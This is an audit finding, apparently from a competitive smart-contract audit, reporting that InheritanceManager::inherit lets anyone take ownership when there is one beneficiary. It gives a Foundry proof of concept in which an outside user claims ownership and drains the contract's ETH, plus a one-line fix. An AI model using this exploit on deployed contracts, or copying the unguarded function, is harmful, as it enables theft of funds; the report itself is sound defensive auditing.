Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Front-Running Attack in `InheritanceManager::inherit` Leading to Complete Loss of Ownership and Funds

Description:

The function InheritanceManager::inherit allows anyone to call it. If there is only one beneficiary, msg.sender automatically becomes the owner without verification.

This makes the function vulnerable to a front-running attack where a malicious user (or an MEV bot) detects that the deadline has passed and front-runs the legitimate beneficiary’s transaction. By paying a higher gas fee, the attacker ensures that their transaction executes first, thereby taking full control of the contract.

Since ownership provides complete control over the smart contract, the attacker can steal all funds by transferring them to their own wallet.

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

Impact:

The Impact is high because the attacker becomes the new owner and can withdraw all assets. Likelihood is High, the attack can be performed whenever the contract has only one beneficiary and the deadline has passed.

Proof of Concept:

PoC
function test_audit_FrontRunning_of_Inherited() public {
vm.deal(address(im), 10e18);
vm.startPrank(owner);
uint256 deadLine = im.getDeadline();
console.log(deadLine);
im.addBeneficiery(address(owner));
uint256 deadLine2 = im.getDeadline();
console.log(deadLine2);
vm.warp(deadLine2 + 90 days);
vm.stopPrank();
vm.startPrank(user1);
im.inherit();
console.log(im.getOwner());
im.sendETH(address(im).balance, address(user1));
console.log(
"This is the final balance of the User1: ",
address(user1).balance
);
vm.stopPrank();
}

Recommended Mitigation:

To mitigate this issue we can add a check to only allow the only beneficiary inside the array to claim the ownership of the contract.

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
- if (beneficiaries.length == 1) {
+ if (beneficiaries.length == 1 && msg.sender == beneficiaries[0]) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.